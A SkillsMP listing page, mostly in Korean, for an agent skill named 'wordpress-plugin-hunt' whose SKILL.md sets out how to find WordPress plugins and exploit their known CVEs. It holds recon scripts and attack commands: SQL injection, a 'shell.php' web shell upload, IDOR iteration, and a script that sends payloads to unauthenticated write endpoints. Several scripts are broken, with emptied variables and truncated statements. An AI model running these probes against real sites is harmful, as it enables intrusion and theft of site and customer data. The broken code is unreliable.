소스 정보
- 저장소
- Wyl-cmd/kxns-cli
- 최근 소스 활동
- 2026년 7월 25일 08:23
- 감지된 SKILL.md 언어
- 영어
- 스타
- 4
- 포크
- 0
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/Wyl-cmd/kxns-cli --skill wordpress-plugin-hunt명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
Hermes Agent features guide — cron, delegation, memory, automation, YOLO mode, dual-agent hunting, and slash commands for the agentiko Telegram setup
Worker container environment — tools, paths, and usage patterns for the remote SSH terminal
Exploit no-auth APIs for data theft and CRUD via probes.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wordpress-plugin-hunt |
| description | Hunt WP plugins via REST, exploit CVEs when version known. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| metadata | {"tags":["recon","wordpress","plugins","CVE","exploitation"],"category":"recon","related_skills":["wp-mass-recon","deep-invade","cross-attack-chains","wordpress-full-compromise","staging-subdomain-hunt","xmlrpc-exploitation"]} |
Discover installed WordPress plugins through REST API namespace probing, readme.txt version detection, and HTML/JS source analysis. Cross-reference discovered versions against known CVEs for exploitation. WordPress plugin vulnerabilities are one of the most reliable paths to RCE — confirmed CVEs include Elementor, Slider Revolution, ElementsKit, Gravity Forms, Jetpack, WooCommerce, and LiteSpeed Cache.
wp-mass-recon).deep-invade Phase 3.terminal tool with curl, python3./wp-json/ or /wp-login.php accessible).security-arsenal skill).# Quick plugin namespace scan (30+ plugins)
TARGET="example.com"
for ns in "revslider/v1" "elementskit/v1" "elementor/v1" "gf/v2" "wc/v3" \
"jetpack/v4" "litespeed/v1" "yoast/v1" "acf/v3" "contact-form-7/v1" \
"solidwp-mail/v1" "wpsl/v1" "redirection/v1" "rankmath/v1"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "https://$TARGET/wp-json/$ns")
[[ "$code" != "404" ]] && echo "FOUND: /wp-json/$ns (HTTP $code)"
done
| Plugin | Vulnerable Version | CVE | Impact | Frequency |
|---|---|---|---|---|
| Slider Revolution | < 6.6.20 | CVE-2024-2534 | RCE via file upload | ~10% |
| ElementsKit | < 2.9.4 | CVE-2023-6851 | SQLi | ~5% |
| ElementsKit | < 2.9.4 | CVE-2023-6853 | File Upload (unauthenticated) | ~5% |
| Gravity Forms | < 2.8.2 | CVE-2024-6115 | PHP Object Injection → Auth Bypass | ~8% |
| Jetpack | < 13.1 | CVE-2024-1782 | SSRF | 28% |
| Elementor | < 3.24.0 | CVE-2024-xxxx | Info disclosure → Auth bypass | 28% |
| LiteSpeed Cache | < 6.5.0 | CVE-2024-50550 | Privilege escalation | ~15% |
| WooCommerce | N/A (API exposure) | N/A | Order/customer data | 42% |
| Yoast SEO | N/A (sitemap enum) | N/A | Author email leak | 42% |
| Method | What It Reveals | Reliability |
|---|---|---|
| REST namespace probe | Plugin presence + data | High (if plugin registers REST routes) |
| readme.txt version | Exact version number | Medium (many sites block readme.txt) |
| HTML source grep | Plugin CSS/JS handles | Medium |
| robots.txt | Plugin-generated entries | Low (only if plugin adds entries) |
/wp-content/plugins/<slug>/ | Directory listing or assets | Medium |
TARGET="$1"
OUTDIR="/root/output/plugins/$TARGET"
mkdir -p "$OUTDIR"
# Comprehensive plugin namespace list
declare -A PLUGIN_NAMESPACES
PLUGIN_NAMESPACES["revslider"]="revslider/v1/slides"
PLUGIN_NAMESPACES["elementskit"]="elementskit/v1/layouts"
PLUGIN_NAMESPACES["elementor"]="elementor/v1/globals"
PLUGIN_NAMESPACES["gravityforms"]="gf/v2/forms"
PLUGIN_NAMESPACES["woocommerce"]="wc/v3/products"
PLUGIN_NAMESPACES["jetpack"]="jetpack/v4/settings"
PLUGIN_NAMESPACES["litespeed"]="litespeed/v1/token"
PLUGIN_NAMESPACES["yoast"]="yoast/v1/indexing"
PLUGIN_NAMESPACES["acf"]="acf/v3/posts"
PLUGIN_NAMESPACES["contactform7"]="contact-form-7/v1/contact-forms"
PLUGIN_NAMESPACES["solidwp"]="solidwp-mail/v1/export"
PLUGIN_NAMESPACES["wpsl"]="wpsl/v1/locations"
PLUGIN_NAMESPACES["redirection"]="redirection/v1/redirect"
PLUGIN_NAMESPACES["rankmath"]="rankmath/v1/getHead"
PLUGIN_NAMESPACES["fusionbuilder"]="fusion-builder/v1/elements"
PLUGIN_NAMESPACES["visualcomposer"]="visualcomposer/v1/posts"
PLUGIN_NAMESPACES["ninjaforms"]="ninja-forms/v1/forms"
PLUGIN_NAMESPACES["wpforms"]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
plugin ;
ns=
resp=$(curl -sk --max-time 5 -o /tmp/plugin_check_$$.tmp -w 2>/dev/null)
[[ == ]];
size=$( -c < /tmp/plugin_check_$$.tmp)
grep -qiE /tmp/plugin_check_$$.tmp 2>/dev/null;
/tmp/plugin_check_$$.tmp
[[ == ]];
[[ == ]];
-f /tmp/plugin_check_$$.tmp
TARGET="$1"
OUTDIR="/root/output/plugins/$TARGET"
# Common plugin slugs to check
SLUGS=(
"elementor" "revslider" "js_composer" "wp-rocket" "wordfence"
"woocommerce" "jetpack" "litespeed-cache" "yoast-seo" "advanced-custom-fields"
"contact-form-7" "gravityforms" "ninja-forms" "wpforms-lite"
"all-in-one-wp-migration" "updraftplus" "duplicator" "backupbuddy"
"essential-grid" "smart-slider-3" "masterslider" "metaslider"
"fusion-builder" "visualcomposer" "elementor-pro" "essential-addons-for-elementor-lite"
"redux-framework" "buddypress" "learndash" "give"
"the-events-calendar" "events-manager" "wpml-string-translation"
"mailchimp-for-woocommerce" "automatewoo" "woocommerce-subscriptions"
"woocommerce-memberships" "restrict-content-pro" "easy-digital-downloads"
"rank-math-seo" "seo-by-rank-math" "all-in-one-seo-pack" "wp-seopress"
"monsterinsights"
)
slug ;
readme=$(curl -sk --max-time 5 2>/dev/null)
[[ -n ]];
version=$( | grep -i | sed | -d | -1)
name=$( | grep -i | -1 | sed )
[[ -n ]];
revslider)
[[ < ]] && ;;
elementskit|elementskit-lite)
[[ < ]] && ;;
litespeed-cache)
[[ < ]] && ;;
elementor|elementor-pro)
[[ < ]] && ;;
gravityforms)
[[ < ]] && ;;
jetpack)
[[ < ]] && ;;
TARGET="$1"
echo "[*] Scanning HTML source for plugin fingerprints..."
PAGE=$(curl -sk --max-time 10 "https://$TARGET/" 2>/dev/null)
# CSS/JS handles
echo "$PAGE" | grep -oP "(?:/wp-content/plugins/|/wp-content/themes/)[a-zA-Z0-9_-]+" | sort -u | while read -r path; do
plugin=$(echo "$path" | grep -oP 'plugins/\K[a-zA-Z0-9_-]+|themes/\K[a-zA-Z0-9_-]+')
echo " [SOURCE] $plugin (found in HTML)"
done
# Elementor specific
if echo "$PAGE" | grep -q "elementor-element\|data-elementor-id"; then
echo " [SOURCE] Elementor (page builder in use)"
fi
# WooCommerce specific
if echo "$PAGE" | grep -q "woocommerce\|wc-forward\|add_to_cart_button"; then
echo " [SOURCE] WooCommerce (e-commerce active)"
fi
# WP Rocket
if echo "$PAGE" | grep -q "wpr-minify\|rocket-lazyload"; then
| grep -q ;
When a vulnerable plugin version is confirmed:
TARGET="$1"
# Slider Revolution CVE-2024-2534 (RCE via file upload)
# Requires: revslider < 6.6.20
# Attack: POST to /wp-json/revslider/v1/upload with ZIP containing PHP
# See: security-arsenal skill for full PoC
# ElementsKit CVE-2023-6853 (RCE via file upload, unauthenticated)
# Requires: elementskit < 2.9.4
# Attack: POST to /wp-json/elementskit/v1/upload with specially crafted file
# See: security-arsenal skill for full PoC
# Gravity Forms CVE-2024-6115 (auth bypass)
# Requires: gravityforms < 2.8.2
# Attack: Unauthenticated access to form entries via REST API
curl -sk "https://$TARGET/wp-json/gf/v2/forms" 2>/dev/null | python3 -m json.tool | head -20
# LiteSpeed Cache CVE-2024-50550 (privilege escalation)
# Requires: litespeed < 6.5.0
# Attack: Crawler token manipulation to gain admin access
curl -sk "https://$TARGET/wp-json/litespeed/v1/token" 2>/dev/null
Don't rely solely on readme.txt — plugins can hide version info in multiple locations:
#!/bin/bash
# multi-source-version.sh — Extract plugin version from multiple sources
TARGET="$1"
PLUGIN="$2" # e.g., elementskit
PLUGIN_DIR="$3" # e.g., elementskit-lite (can differ from slug)
# Source 1: readme.txt (most common)
v1=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/readme.txt" 2>/dev/null | \
grep -i "stable tag\|version" | head -1 | grep -oP '[\d.]+')
echo "Source 1 (readme.txt): $v1"
# Source 2: Main plugin PHP header
v2=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/$PLUGIN.php" 2>/dev/null | \
grep -oP 'Version:\s*\K[\d.]+')
echo "Source 2 (plugin header): $v2"
# Source 3: CSS/JS asset paths (many plugins version their assets)
v3=$(curl -sk "https://$TARGET/" 2>/dev/null | \
grep -oP "$PLUGIN_DIR/.*?ver=([\d.]+)" | grep -oP '[\d.]+\b' | sort -uV | tail -1)
echo "Source 3 (asset version): $v3"
# Source 4: REST API namespace (some plugins include version in namespace)
v4=$(curl -sk "https://$TARGET/wp-json/" 2>/dev/null | \
python3 -c "import sys,json; [print(n.split('/')[1]) for n in json.load(sys.stdin).get('namespaces',[]) if '' in n and '/' in n]" 2>/dev/null)
src ;
[ -n ];
# Method 1: WPScan API (requires token)
curl -sk "https://wpscan.com/api/v3/plugins/$PLUGIN" \
-H "Authorization: Token token=$WPSCAN_TOKEN" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
print(f\"{vuln.get('cve', 'no-cve')}: {vuln.get('title', '')} ({vuln.get('fixed_in', 'unpatched')})\")
" 2>/dev/null
# Method 2: NVD API (no token required)
curl -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=$PLUGIN&keywordExactMatch" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
cve = vuln['cve']
vid = cve['id']
desc = cve['descriptions'][0]['value'][:200] if cve['descriptions'] else ''
try:
score = cve['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']
except: score = 'N/A'
print(f'{vid} (CVSS:{score}): {desc}')
" 2>/dev/null
# Method 3: Patchstack database
curl -sk "https://patchstack.com/database/search/?s=$PLUGIN" | \
python3 -c "import sys,re; content=sys.stdin.read(); cves=re.findall(r'CVE-\d{4}-\d{4,7}', content); print(f'Patchstack CVEs: {cves}')" 2>/dev/null
#!/bin/bash
# cve-matcher.sh — Match plugin versions against known CVEs
# Usage: echo "revslider 6.6.19" | ./cve-matcher.sh
while read plugin version; do
case "$plugin" in
revslider)
[ "$(printf '%s\n' '6.6.20' "$version" | sort -V | head -1)" != "$version" ] && \
[ "$version" != "6.6.20" ] && echo " [!] Revslider < 6.6.20 → CVE-2024-2534 RCE"
[ "$(printf '%s\n' '6.5.8' "$version" | sort -V | head -1)" != "$version" ] && \
[ "$version" != "6.5.8" ] && echo " [!] Revslider < 6.5.8 → CVE-2022-2944 SQLi"
;;
elementskit)
[ "$(printf '%s\n' '2.9.4' "$version" | sort -V | head -1)" != "$version" ] && \
[ "$version" != "2.9.4" ] && echo " [!] ElementsKit < 2.9.4 → CVE-2023-6851 SQLi, CVE-2023-6853 File Upload"
[ "$(printf '%s\n' '2.9.8' "$version" | sort -V | head -1)" != "$version" ] && \
[ != ] &&
;;
gravityforms)
[ != ] && \
[ != ] &&
;;
jetpack)
[ != ] && \
[ != ] &&
;;
contact-form-7)
;;
wp-file-manager)
;;
wpdm)
[ != ] && \
[ != ] &&
;;
# Check 1: Does readme.txt version match actual deployed version?
curl -sk "https://$TARGET/wp-content/plugins/elementskit/elementskit.php" | grep "Version:"
# Check 2: Is the REST endpoint actually available (not disabled by WAF)?
curl -sk -I "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file"
# Check 3: Is the vulnerable code path actually reachable? (Some CVEs require specific features)
curl -sk "https://$TARGET/wp-json/elementskit/v1/" | python3 -m json.tool 2>/dev/null
# Check 4: Test exploitation in safe mode — verify endpoint exists before running destructive payload
curl -sk -X OPTIONS "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" | head -20
# Check 5: Version from JS/CSS assets vs readme.txt — if they differ, plugin may be partially updated
curl -sk "https://$TARGET/" | grep -oP 'elementskit.*?ver=[0-9.]+'
When no known CVE exists for a plugin, test these common patterns:
# 1. REST API route enumeration (undocumented endpoints)
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for route in d.get('routes', {}):
print(f' {route}')
except: pass
"
# 2. AJAX handler testing
curl -sk "https://$TARGET/wp-admin/admin-ajax.php" -d "action=$PLUGIN_ajax_function"
# 3. SQLi in plugin shortcode attributes
curl -sk "https://$TARGET/?$PLUGIN_param=1' AND SLEEP(5)--"
# 4. File upload in plugin media handlers
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/upload" -F "file=@shell.php"
# 5. IDOR in plugin REST endpoints (iterate IDs)
for id in $(seq 1 100); do
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/data/$id" | jq '. | {id}' 2>/dev/null
done
WordPress plugins register custom REST API routes. Many developers forget to add permission callbacks, leaving state-changing endpoints (POST/PUT/PATCH/DELETE) accessible to unauthenticated users.
import requests, json, sys
BASE = sys.argv[1] if len(sys.argv) > 1 else "https://target.com"
# Step 1: Get all plugin namespaces
r = requests.get(f"{BASE}/wp-json/", timeout=10)
ns_list = r.json().get('namespaces', [])
std = ['oembed', 'wp/v2', 'wp-site-health', 'wp-block-editor', 'wpcom']
plugins = [n for n in ns_list if not any(s in n for s in std)]
print(f"Plugins: {len(plugins)}")
for ns in plugins:
r = requests.get(f"{BASE}/wp-json/{ns}/", timeout=10)
if r.status_code != 200:
continue
routes = r.json().get('routes', {})
for path, cfg in routes.items():
methods = cfg.get('methods', [])
for method in methods:
if method not in ['POST', 'PUT', 'PATCH', 'DELETE']:
r = requests.request(method, , json={}, timeout=)
r.status_code == :
text = r.text.lower()
text text text:
()
()
payload [
{: , : , : , : },
{: , : , : },
{: , : , : },
]:
r2 = requests.request(method, , json=payload, timeout=)
r2.text.lower() r2.text.lower() r2.text.lower():
()
Key indicators for REST auth bypass:
| Response | Meaning |
|---|---|
"Post published" / "Success" | Unauthenticated write confirmed |
"Missing parameter: X" | Endpoint works — just needs correct params |
"Sorry, you are not allowed" | Auth enforced — safe |
"rest_forbidden" | Auth enforced — safe |
"rest_missing_callback_param" | Endpoint works — probe with params |
/wp-json/ paths. Verify response content has actual plugin data (JSON with id, name, or slug fields).readme.txt at the CDN level. Fall back to REST namespaces or HTML source grep.gravityforms may be gravityforms-clientsite. Check HTML source for actual slugs via wp-content/plugins/ paths./wp-json/sliderrevolution/sliders/.<) fails on 10.x vs 2.x. Use sort -V or python for complex comparisons./wp-json/elementor/v1/favorites returning HTTP 500 with stack trace (Wave8, tools-retailer.com) reveals server paths and internal structure even without plugin exploitation.Different hosting providers have distinct vulnerability profiles for plugin detection:
| Host | REST Users | readme.txt | CORS | XMLRPC | Best Plugin Detection Method |
|---|---|---|---|---|---|
| GoDaddy | Usually exposed | Usually accessible | Often reflects | Usually open | readme.txt (most accessible) |
| Cloudflare + WP Engine | Usually blocked | Blocked at CDN | May work | Blocked | HTML source grep + REST namespace brute force |
| Hostinger | Exposed | Accessible | Often reflects | Open | readme.txt + REST namespace |
| WP Engine (direct) | Blocked (401) | Blocked | Mixed | Blocked | HTML source only |
| Bluehost | Exposed | Accessible | Often reflects | Open | All methods work |
| SiteGround | Mixed | Often accessible | Mixed | Mixed | REST namespace + readme.txt |